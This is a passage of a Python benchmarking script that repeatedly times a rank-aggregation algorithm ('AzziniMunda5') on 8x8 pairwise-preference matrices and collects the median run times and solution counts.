[1051,1058,0,1019,1041,1033,1062,998], [1052,1044,982,0,1043,997,1061,1028], [1023,997,960,958,0,947,979,937], [1017,1030,968,1004,1054,0,1042,1016], [983,987,939,940,1022,959,0,972], [1024,1005,1003,973,1064,985,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 37, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,1113,1077,989,1242,1097,1024], [993,0,1026,911,892,1113,1081,1028], [888,975,0,930,987,1233,987,1009], [924,1090,1071,0,1064,1205,1123,965], [1012,1109,1014,937,0,1099,1120,991], [759,888,768,796,902,0,851,813], [904,920,1014,878,881,1150,0,942], [977,973,992,1036,1010,1188,1059,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 38, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,1062,962,1002,1015,953,1001], [1008,0,992,982,966,1003,979,947], [939,1009,0,935,997,912,970,935], [1039,1019,1066,0,1026,995,964,941], [999,1035,1004,975,0,949,914,932], [986,998,1089,1006,1052,0,1010,1003], [1048,1022,1031,1037,1087,991,0,980], [1000,1054,1066,1060,1069,998,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 39, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,1021,1020,1009,986,997,989], [962,0,976,1019,978,990,951,976], [980,1025,0,1026,1011,1006,1005,1003], [981,982,975,0,990,1019,988,1003], [992,1023,990,1011,0,1002,1009,1014], [1015,1011,995,982,999,0,1020,1032], [1004,1050,996,1013,992,981,0,1032], [1012,1025,998,998,987,969,969,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 40, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1009,999,991,970,981,998,998], [992,0,1008,995,971,1006,981,974], [1002,993,0,1007,964,988,975,999], [1010,1006,994,0,976,1012,1017,999], [1031,1030,1037,1025,0,1016,1021,975], [1020,995,1013,989,985,0,971,1008], [1003,1020,1026,984,980,1030,0,952], [1003,1027,1002,1002,1026,993,1049,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 41, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,1010,987,951,964,1007,936], [984,0,971,962,984,980,1012,1003], [991,1030,0,986,960,981,1021,982], [1014,1039,1015,0,1012,987,981,996], [1050,1017,1041,989,0,999,1001,999], [1037,1021,1020,1014,1002,0,1013,995], [994,989,980,1020,1000,988,0,985], [1065,998,1019,1005,1002,1006,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 42, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,1049,992,1023,980,1032,987], [997,0,1085,1024,933,972,1007,1062], [952,916,0,959,958,948,960,958], [1009,977,1042,0,991,967,962,1014], [978,1068,1043,1010,0,996,1012,1026], [1021,1029,1053,1034,1005,0,1041,993], [969,994,1041,1039,989,960,0,973], [1014,939,1043,987,975,1008,1028,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 43, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,921,993,928,915,1022,922,958], [1080,0,1014,1085,1014,1066,1020,981], [1008,987,0,1009,1011,1059,975,947], [1073,916,992,0,1012,1074,997,989], [1086,987,990,989,0,1053,995,980], [979,935,942,927,948,0,935,929], [1079,981,1026,1004,1006,1066,0,1043], [1043,1020,1054,1012,1021,1072,958,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 44, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,966,960,1018,984,1003,987,1016], [1035,0,959,1001,987,1015,1048,1027], [1041,1042,0,1025,999,1015,1036,1013], [983,1000,976,0,961,973,998,1011], [1017,1014,1002,1040,0,1002,997,1009], [998,986,986,1028,999,0,1019,1006], [1014,953,965,1003,1004,982,0,1010], [985,974,988,990,992,995,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 45, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1043,1021,1030,1023,991,1005], [1003,0,1015,1011,1047,1013,1015,993], [958,986,0,987,979,1007,987,995], [980,990,1014,0,1000,995,966,969], [971,954,1022,1001,0,1007,960,984], [978,988,994,1006,994,0,969,996], [1010,986,1014,1035,1041,1032,0,1015], [996,1008,1006,1032,1017,1005,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 46, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,977,984,1000,989,978,1038], [1013,0,1030,1009,996,995,1018,1045], [1024,971,0,985,998,968,994,1018], [1017,992,1016,0,981,982,1015,1022], [1001,1005,1003,1020,0,1021,997,1027], [1012,1006,1033,1019,980,0,1019,1038], [1023,983,1007,986,1004,982,0,1041], [963,956,983,979,974,963,960,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 47, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1067,975,938,992,1030,938,938], [934,0,958,949,959,999,936,936], [1026,1043,0,1009,993,1068,978,1026], [1063,1052,992,0,1064,996,1032,1067], [1009,1042,1008,937,0,1071,938,997], [971,1002,933,1005,930,0,1027,966], [1063,1065,1023,969,1063,974,0,1026], [1063,1065,975,934,1004,1035,975,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 48, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,979,970,929,937,963,967,913], [1022,0,1009,1062,988,966,994,1049], [1031,992,0,1034,962,922,967,982], [1072,939,967,0,935,871,982,931], [1064,1013,1039,1066,0,975,997,935], [1038,1035,1079,1130,1026,0,1021,915], [1034,1007,1034,1019,1004,980,0,978], [1088,952,1019,1070,1066,1086,1023,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 49, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,1010,982,1006,1008,962,1024], [1009,0,1032,1024,979,1031,1013,988], [991,969,0,983,969,981,995,996], [1019,977,1018,0,960,1014,1001,983], [995,1022,1032,1041,0,1030,1008,1049], [993,970,1020,987,971,0,976,991], [1039,988,1006,1000,993,1025,0,1031], [977,1013,1005,1018,952,1010,970,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 50, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,741,653,999,877,1387,909,954], [1260,0,1075,1314,828,1402,1358,1510], [1348,926,0,1186,958,901,1235,1273], [1002,687,815,0,857,1066,1128,1009], [1124,1173,1043,1144,0,1112,819,884], [614,599,1100,935,889,0,688,1137], [1092,643,766,873,1182,1313,0,1096], [1047,491,728,992,1117,864,905,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 51, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,958,1019,991,988,934,914,974], [1043,0,1061,974,986,973,952,1015], [982,940,0,993,916,934,948,980], [1010,1027,1008,0,971,966,1032,935], [1013,1015,1085,1030,0,1022,1048,990], [1067,1028,1067,1035,979,0,1038,1038], [1087,1049,1053,969,953,963,0,987], [1027,986,1021,1066,1011,963,1014,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 52, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,951,949,989,1020,982,1022], [1005,0,993,1002,978,1054,1018,1015], [1050,1008,0,1031,998,1068,1000,1027], [1052,999,970,0,1002,1014,1035,1041], [1012,1023,1003,999,0,1042,1037,1035], [981,947,933,987,959,0,928,984], [1019,983,1001,966,964,1073,0,1022], [979,986,974,960,966,1017,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 53, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1026,999,1019,1094,949,1026,942], [975,0,1031,1019,1018,907,961,1051], [1002,970,0,1071,1013,862,1068,1046], [982,982,930,0,999,961,1054,963], [907,983,988,1002,0,926,1003,993], [1052,1094,1139,1040,1075,0,1081,981], [975,1040,933,947,998,920,0,950], [1059,950,955,1038,1008,1020,1051,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 54, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,990,1002,1007,1002,1019,1003], [1008,0,997,1005,992,1025,1025,971], [1011,1004,0,987,1012,1041,1042,984], [999,996,1014,0,1005,1037,1011,1010], [994,1009,989,996,0,1028,1011,995], [999,976,960,964,973,0,1003,997], [982,976,959,990,990,998,0,994], [998,1030,1017,991,1006,1004,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 55, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,847,974,849,906,930,980,1014], [1154,0,998,1031,961,1186,1174,1216], [1027,1003,0,935,676,957,935,964], [1152,970,1066,0,1083,1049,1074,1193], [1095,1040,1325,918,0,1034,1222,1049], [1071,815,1044,952,967,0,1041,1152], [1021,827,1066,927,779,960,0,1050], [987,785,1037,808,952,849,951,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 56, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1019,994,980,992,980,1021], [1003,0,985,1014,998,989,989,1009], [982,1016,0,1030,1013,1014,1005,990], [1007,987,971,0,982,1005,980,995], [1021,1003,988,1019,0,1016,1009,1018], [1009,1012,987,996,985,0,990,1014], [1021,1012,996,1021,992,1011,0,1023], [980,992,1011,1006,983,987,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 57, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,970,968,969,947,986,944,1032], [1031,0,983,1004,963,1062,949,1004], [1033,1018,0,1003,1000,1068,942,1006], [1032,997,998,0,1014,1088,1004,1032], [1054,1038,1001,987,0,1077,1017,1034], [1015,939,933,913,924,0,956,952], [1057,1052,1059,997,984,1045,0,1080], [969,997,995,969,967,1049,921,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 58, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,984,964,1004,981,980,978], [1011,0,1003,1020,1032,1030,992,1014], [1017,998,0,1002,1049,1027,1014,1000], [1037,981,999,0,1033,1018,958,970], [997,969,952,968,0,1011,987,1007], [1020,971,974,983,990,0,987,1001], [1021,1009,987,1043,1014,1014,0,1004], [1023,987,1001,1031,994,1000,997,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 59, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,936,961,904,979,900,988,985], [1065,0,971,975,958,1001,1042,955], [1040,1030,0,1015,1017,958,1037,1006], [1097,1026,986,0,1034,991,1017,1008], [1022,1043,984,967,0,948,1021,1016], [1101,1000,1043,1010,1053,0,1041,1005], [1013,959,964,984,980,960,0,1027], [1016,1046,995,993,985,996,974,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 60, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,1087,1045,1077,992,1079,1062], [1037,0,1018,960,1062,993,1040,1064], [914,983,0,969,998,957,1021,1029], [956,1041,1032,0,1008,1030,1034,1045], [924,939,1003,993,0,981,1018,1001], [1009,1008,1044,971,1020,0,1054,1027], [922,961,980,967,983,947,0,988], [939,937,972,956,1000,974,1013,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 61, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,983,985,993,962,961,1030,1028], [1018,0,997,939,1004,1013,1047,1002], [1016,1004,0,982,1031,987,1052,1058], [1008,1062,1019,0,987,1016,1002,1022], [1039,997,970,1014,0,921,1021,1050], [1040,988,1014,985,1080,0,993,989], [971,954,949,999,980,1008,0,986], [973,999,943,979,951,1012,1015,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 62, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1050,1041,1090,1025,1097,985,1098], [951,0,993,1034,1011,1073,1042,1071], [960,1008,0,1040,974,1030,987,1051], [911,967,961,0,917,1025,953,994], [976,990,1027,1084,0,1077,1010,1109], [904,928,971,976,924,0,954,1019], [1016,959,1014,1048,991,1047,0,1036], [903,930,950,1007,892,982,965,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 63, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,926,944,973,902,926,902], [1028,0,981,985,995,933,972,983], [1075,1020,0,1009,1020,1006,984,933], [1057,1016,992,0,974,943,994,958], [1028,1006,981,1027,0,934,979,941], [1099,1068,995,1058,1067,0,1039,1028], [1075,1029,1017,1007,1022,962,0,970], [1099,1018,1068,1043,1060,973,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 64, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1029,946,938,973,963,986,1183], [972,0,915,1070,1041,924,996,1086], [1055,1086,0,1061,1050,931,1052,1103], [1063,931,940,0,1036,1027,1109,1151], [1028,960,951,965,0,922,1087,1158], [1038,1077,1070,974,1079,0,1005,1141], [1015,1005,949,892,914,996,0,1146], [818,915,898,850,843,860,855,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 65, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,969,1021,1037,1011,985,983], [988,0,1067,1017,1056,1033,1033,1008], [1032,934,0,1022,1086,965,1024,988], [980,984,979,0,1052,1002,1022,1032], [964,945,915,949,0,969,980,900], [990,968,1036,999,1032,0,966,1007], [1016,968,977,979,1021,1035,0,991], [1018,993,1013,969,1101,994,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 66, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1057,988,1048,1014,990,1032,1019], [944,0,981,996,986,940,1078,971], [1013,1020,0,1064,987,989,990,1005], [953,1005,937,0,1051,1031,961,1029], [987,1015,1014,950,0,991,989,1054], [1011,1061,1012,970,1010,0,1033,1023], [969,923,1011,1040,1012,968,0,1071], [982,1030,996,972,947,978,930,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 67, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1018,993,959,1003,982,1009,1033], [983,0,1022,999,1044,1064,1074,1014], [1008,979,0,1005,923,998,981,1048], [1042,1002,996,0,1011,1040,985,1054], [998,957,1078,990,0,964,971,1025], [1019,937,1003,961,1037,0,1041,1020], [992,927,1020,1016,1030,960,0,985], [968,987,953,947,976,981,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 68, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,947,966,955,936,972,945,974], [1054,0,985,972,1029,990,992,1005], [1035,1016,0,972,972,962,1009,1023], [1046,1029,1029,0,983,995,1032,997], [1065,972,1029,1018,0,1006,1033,1022], [1029,1011,1039,1006,995,0,1029,1023], [1056,1009,992,969,968,972,0,1012], [1027,996,978,1004,979,978,989,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 69, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1011,1002,984,985,1006,1007,999], [990,0,1004,997,967,980,972,988], [999,997,0,981,963,1024,997,986], [1017,1004,1020,0,1011,1002,1004,972], [1016,1034,1038,990,0,992,1012,991], [995,1021,977,999,1009,0,1011,996], [994,1029,1004,997,989,990,0,1002], [1002,1013,1015,1029,1010,1005,999,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 70, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,954,1024,978,990,931,1001], [993,0,947,995,976,974,964,994], [1047,1054,0,1031,999,1011,977,1023], [977,1006,970,0,952,989,985,1010], [1023,1025,1002,1049,0,982,1002,1024], [1011,1027,990,1012,1019,0,970,1026], [1070,1037,1024,1016,999,1031,0,1019], [1000,1007,978,991,977,975,982,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 71, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,936,986,987,1016,988,1015], [1037,0,993,1018,1048,1025,1023,1046], [1065,1008,0,1004,1023,1024,991,1042], [1015,983,997,0,1026,1010,997,1041], [1014,953,978,975,0,971,970,1023], [985,976,977,991,1030,0,1010,994], [1013,978,1010,1004,1031,991,0,977], [986,955,959,960,978,1007,1024,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 72, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,972,972,919,971,922,962,1034], [1029,0,1015,1046,1044,999,991,1048], [1029,986,0,1059,1074,955,1047,1046], [1082,955,942,0,1057,999,1012,1051], [1030,957,927,944,0,959,1024,1050], [1079,1002,1046,1002,1042,0,961,1007], [1039,1010,954,989,977,1040,0,1051], [967,953,955,950,951,994,950,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 73, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,1000,1037,1050,1073,970,1024], [1002,0,935,972,967,1015,944,988], [1001,1066,0,990,1022,1067,977,1014], [964,1029,1011,0,984,1061,960,953], [951,1034,979,1017,0,1030,959,967], [928,986,934,940,971,0,907,942], [1031,1057,1024,1041,1042,1094,0,972], [977,1013,987,1048,1034,1059,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 74, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,999,1027,1015,962,996,971], [1009,0,1047,1002,976,947,1026,961], [1002,954,0,1007,972,968,1034,1009], [974,999,994,0,946,938,1017,997], [986,1025,1029,1055,0,1016,1052,1028], [1039,1054,1033,1063,985,0,1010,1016], [1005,975,967,984,949,991,0,964], [1030,1040,992,1004,973,985,1037,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 75, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,967,1015,958,945,983,930], [1028,0,981,995,985,990,958,1006], [1034,1020,0,1005,961,960,1005,972], [986,1006,996,0,964,975,976,991], [1043,1016,1040,1037,0,952,1011,974], [1056,1011,1041,1026,1049,0,984,963], [1018,1043,996,1025,990,1017,0,969], [1071,995,1029,1010,1027,1038,1032,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 76, "ME-PRCW", exec_time, sol.shape[0], 